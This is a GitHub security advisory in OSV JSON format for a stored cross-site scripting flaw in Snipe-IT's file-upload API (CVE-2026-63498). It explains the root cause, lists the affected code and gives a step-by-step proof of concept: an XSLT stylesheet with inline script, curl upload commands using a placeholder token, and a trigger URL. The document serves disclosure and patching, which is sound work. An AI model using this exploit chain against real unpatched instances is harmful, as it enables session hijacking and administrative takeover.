{"id":"GHSA-396x-xmvh-p563","summary":"Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API","details":"Snipe-IT's uploaded-files API accepts XML documents and later serves them inline without applying the safe-inline allowlist used by the equivalent web controller. An authenticated user who can attach files to a supported object can upload an XSLT stylesheet and an XML document that references it through xml-stylesheet. When another authorized user opens the XML file through the API with ?inline=true, the browser applies the attacker-controlled stylesheet, which produces HTML containing JavaScript in the Snipe-IT origin.\nThis was reproduced against commit df8e3b144331d0c1cc14778f900e7646d1d9a509 (v8.6.3-231-gdf8e3b1443).\n\nThe attack requires an authenticated account with file access to at least one supported object and one victim interaction. Scope changes because attacker-controlled code executes in another user's Snipe-IT security context. The script can read same-origin data available to the victim and perform authenticated actions as that victim.\n\n### Affected Components\n\n- app/Http/Requests/UploadFileRequest.php\nAllows xml uploads through filesystems.allowed_upload_extensions_for_validator.\nSanitizes only files detected as image/svg+xml. Both files in this proof of concept are detected by PHP finfo as text/xml, so they are stored unchanged.\n- config/filesystems.php\nIncludes xml in allowed_upload_extensions_array.\n- app/Http/Controllers/Api/UploadedFilesController.php, method show()\nHonors the attacker-controlled inline=true query parameter for every uploaded file type.\nCalls Storage::download(..., ['Content-Disposition' =\u003e 'inline']) without calling StorageHelper::allowSafeInline().\n- routes/api.php\nExposes the affected route as GET /api/v1/{object_type}/{id}/files/{file_id} for multiple object types.\n- app/Http/Middleware/SecurityHeaders.php\nThe default CSP includes script-src 'self' 'unsafe-inline' 'unsafe-eval', so it does not mitigate the injected inline script.\nThe non-API UploadedFilesController::show() already calls StorageHelper::allowSafeInline() before returning an inline response. The missing equivalent check in the API controller creates the vulnerable behavior.\nRoot Cause\n\nFile validation treats XML as an allowed attachment format, but the API download path treats all accepted formats as safe active browser content. Extension allowlisting for upload is not equivalent to determining whether a response is safe to render inline.\nLaravel derives the response Content-Type from each stored file. It returns text/xml; charset=utf-8, while the controller overrides the normal attachment disposition with Content-Disposition: inline. Chromium processes the xml-stylesheet instruction, loads the second same-origin API attachment as XSLT, and executes script in the HTML document produced by the transform.\n\n\nAn attacker can execute arbitrary JavaScript in the Snipe-IT origin when a victim opens the malicious attachment URL. Depending on the victim's privileges, this can enable:\n- Reading same-origin pages and API responses available to the victim.\n- Performing state-changing actions with the victim's session and privileges.\n- Exposing sensitive asset, user, license, and configuration information.\n- Administrative account compromise when a superuser opens the attachment.\n- Cookies marked HttpOnly cannot be read directly, but this does not prevent same-origin authenticated requests or reading their responses.\n\n## Proof of Concept\n\n### Preconditions\n\n- Snipe-IT is installed with default XML upload support.\n- The attacker has an API token for a user permitted to manage files on a supported object.\n- The victim is authenticated and permitted to view files on that object.\n\n\n1. Create the malicious XSLT file\n\nSave the following as style.xml:\n```xml\n\u003c?xml version=\"1.0\"?\u003e\n\u003cxsl:stylesheet version=\"1.0\"\n  xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\u003e\n  \u003cxsl:template match=\"/\"\u003e\n    \u003chtml\u003e\n      \u003chead\u003e\u003ctitle\u003eBEFORE\u003c/title\u003e\u003c/head\u003e\n      \u003cbody\u003e\n        \u003cdiv id=\"result\"\u003eNOT_EXECUTED\u003c/div\u003e\n        \u003cscript\u003e\n          document.getElementById('result').textContent = 'XSS_EXECUTED';\n          document.title = 'SNIPE_XSS';\n        \u003c/script\u003e\n      \u003c/body\u003e\n    \u003c/html\u003e\n  \u003c/xsl:template\u003e\n\u003c/xsl:stylesheet\u003e\n```\n\nPHP finfo identifies this file as `text/xml`, not `image/svg+xml`.\n2. Upload the stylesheet through the API\n\nReplace the base URL, token, object type, and object ID with values from the test instance:\n```\ncurl -i \\\n  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \\\n  -H 'Accept: application/json' \\\n  -F 'file[]=@style.xml;type=text/xml' \\\n  'https://snipe-it.example/api/v1/models/1/files'\n```\n\nExpected result: HTTP 200 and a successful upload response.\n\n3. Obtain the stylesheet file ID\n\n```\ncurl -s \\\n  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \\\n  -H 'Accept: application/json' \\\n  'https://snipe-it.example/api/v1/models/1/files'\n```\nRead the style.xml upload's id from the response and call it STYLE_FILE_ID.\n\n4. Create and upload the referencing XML document\n\nSave this as data.xml, replacing STYLE_FILE_ID:\n```\n\u003c?xml version=\"1.0\"?\u003e\n\u003c?xml-stylesheet type=\"text/xsl\" href=\"https://snipe-it.example/api/v1/models/1/files/STYLE_FILE_ID?inline=true\"?\u003e\n\u003cdata\u003etest\u003c/data\u003e\nPHP finfo also identifies this file as text/xml.\ncurl -i \\\n  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \\\n  -H 'Accept: application/json' \\\n  -F 'file[]=@data.xml;type=text/xml' \\\n  'https://snipe-it.example/api/v1/models/1/files'\n```\n\nList the files again and obtain the id of data.xml; call it DATA_FILE_ID.\n\n5. Trigger the vulnerability\n\nWhile authenticated in the Snipe-IT web interface as a victim who can view the object's files, open the following in the same browser. The normal Snipe-IT Passport cookie authenticates both same-origin API requests:\n`https://snipe-it.example/api/v1/models/1/files/DATA_FILE_ID?inline=true`\nExpected vulnerable response characteristics:\n\n```\nHTTP/1.1 200 OK\nContent-Type: text/xml\nContent-Disposition: inline\nContent-Security-Policy: ...; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...\n```\nBrowser result: the page title changes to SNIPE_XSS, and the displayed text changes from NOT_EXECUTED to XSS_EXECUTED.\n\n### Fixed\nFixed in https://github.com/grokability/snipe-it/commit/e929b31f0b183c5810bd2b833c1f6f643cbe5284","aliases":["CVE-2026-63498"],"modified":"2026-09-24T18:30:08.547054754Z","published":"2026-09-24T18:19:38Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-09-24T18:19:38Z","nvd_published_at":null,"cwe_ids":["CWE-79"]},"references":[{"type":"WEB","url":"https://github.com/grokability/snipe-it/security/advisories/GHSA-396x-xmvh-p563"},{"type":"WEB","url":"https://github.com/grokability/snipe-it/commit/e929b31f0b183c5810bd2b833c1f6f643cbe5284"},{"type":"PACKAGE","url":"https://github.com/grokability/snipe-it"},{"type":"WEB","url":"https://github.com/grokability/snipe-it/releases/tag/v8.7.0"}],"affected":[{"package":{"name":"snipe/snipe-it","ecosystem":"Packagist","purl":"pkg:composer/snipe/snipe-it"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.7.0"}]}],"versions":["3.2.0","v0.1.0","v0.1.1","v0.1.2","v0.2.0","v0.3.0-alpha","v0.3.10-alpha","v0.3.11-alpha","v0.3.7-alpha","v0.3.8-alpha","v0.3.9-alpha","v1.0","v1.1","v1.2.0","v1.2.1","v1.2.10","v1.2.11","v1.2.2","v1.2.3","v1.2.3-beta","v1.2.4","v1.2.4-beta","v1.2.5","v1.2.6","v1.2.6-beta","v1.2.6.1","v1.2.7","v1.2.7-beta","v1.2.8","v1.2.9","v2.0","v2.0-RC-1","v2.0-beta","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.0.5","v2.0.6","v2.1.0","v2.1.1","v2.1.2","v3.0","v3.0-alpha","v3.0-alpha2","v3.0-beta.1","v3.0-beta.2","v3.0-beta.3","v3.0.0-beta","v3.1.0","v3.3.0","v3.3.0-beta","v3.4","v3.4.0-alpha","v3.4.0-beta","v3.5.0","v3.5.0-beta","v3.5.0-beta2","v3.5.1","v3.5.2","v3.6.0","v3.6.1","v3.6.2","v3.6.3","v3.6.4","v3.6.5","v3.6.6","v4-beta3","v4-beta4","v4.0","v4.0-alpha","v4.0-alpha-2","v4.0-beta","v4.0-beta2","v4.0-beta5","v4.0-beta6","v4.0.1","v4.0.10","v4.0.11","v4.0.12","v4.0.13","v4.0.14","v4.0.15","v4.0.2","v4.0.3","v4.0.4","v4.0.5","v4.0.6","v4.0.7","v4.0.8","v4.0.9","v4.1.0","v4.1.0-beta","v4.1.0-beta2","v4.1.1","v4.1.10","v4.1.11","v4.1.12","v4.1.13","v4.1.14","v4.1.2","v4.1.3","v4.1.4","v4.1.5","v4.1.6","v4.1.7","v4.1.8","v4.1.9","v4.2.0","v4.3.0","v4.4.0","v4.4.1","v4.5.0","v4.6.0","v4.6.1","v4.6.10","v4.6.11","v4.6.12","v4.6.13","v4.6.14","v4.6.15","v4.6.16","v4.6.17","v4.6.18","v4.6.2","v4.6.3","v4.6.4","v4.6.5","v4.6.6","v4.6.7","v4.6.8","v4.6.9","v4.7.0","v4.7.1","v4.7.2","v4.7.3","v4.7.4","v4.7.5","v4.7.6","v4.7.7","v4.7.8","v4.8.0","v4.9.0","v4.9.1","v4.9.2","v4.9.3","v4.9.4","v4.9.5","v5.0.0","v5.0.0-beta-1.0","v5.0.0-beta-1.1","v5.0.0-beta-2","v5.0.0-beta-3.0","v5.0.0-beta-4","v5.0.0-beta-5","v5.0.1","v5.0.10","v5.0.11","v5.0.12","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7","v5.0.8","v5.0.9","v5.1.0","v5.1.1","v5.1.2","v5.1.3","v5.1.4","v5.1.5","v5.1.6","v5.1.7","v5.1.8","v5.2.0","v5.3.0","v5.3.1","v5.3.10","v5.3.2","v5.3.3","v5.3.4","v5.3.5","v5.3.6","v5.3.7","v5.3.8","v5.3.9","v5.4.0","v5.4.1","v5.4.2","v5.4.3","v5.4.4","v6.0.0","v6.0.0-RC-1","v6.0.0-RC-2","v6.0.0-RC-3","v6.0.0-RC-4","v6.0.0-RC-5","v6.0.0-RC-6","v6.0.0-RC-7","v6.0.0-RC-8","v6.0.1","v6.0.10","v6.0.11","v6.0.12","v6.0.13","v6.0.14","v6.0.2","v6.0.3","v6.0.4","v6.0.5","v6.0.6","v6.0.7","v6.0.8","v6.0.9","v6.1.0","v6.1.1","v6.1.2","v6.2.0","v6.2.1","v6.2.2","v6.2.3","v6.3.0","v6.3.1","v6.3.2","v6.3.3","v6.3.4","v6.4.0","v6.4.1","v6.4.2","v7.0.0","v7.0.1","v7.0.10","v7.0.11","v7.0.12","v7.0.13","v7.0.2","v7.0.3","v7.0.4","v7.0.5","v7.0.6","v7.0.7","v7.0.8","v7.0.9","v7.1.14","v7.1.15","v7.1.16","v7.1.17","v8.0.0","v8.0.1","v8.0.2","v8.0.3","v8.0.4","v8.1.0","v8.1.1","v8.1.15","v8.1.16","v8.1.17","v8.1.18","v8.1.2","v8.1.3","v8.1.4","v8.2.0","v8.2.1","v8.3.0","v8.3.1","v8.3.2","v8.3.3","v8.3.4","v8.3.5","v8.3.6","v8.3.7","v8.4.0","v8.4.1","v8.5.0","v8.6.0","v8.6.1","v8.6.2","v8.6.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-396x-xmvh-p563/GHSA-396x-xmvh-p563.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"}]}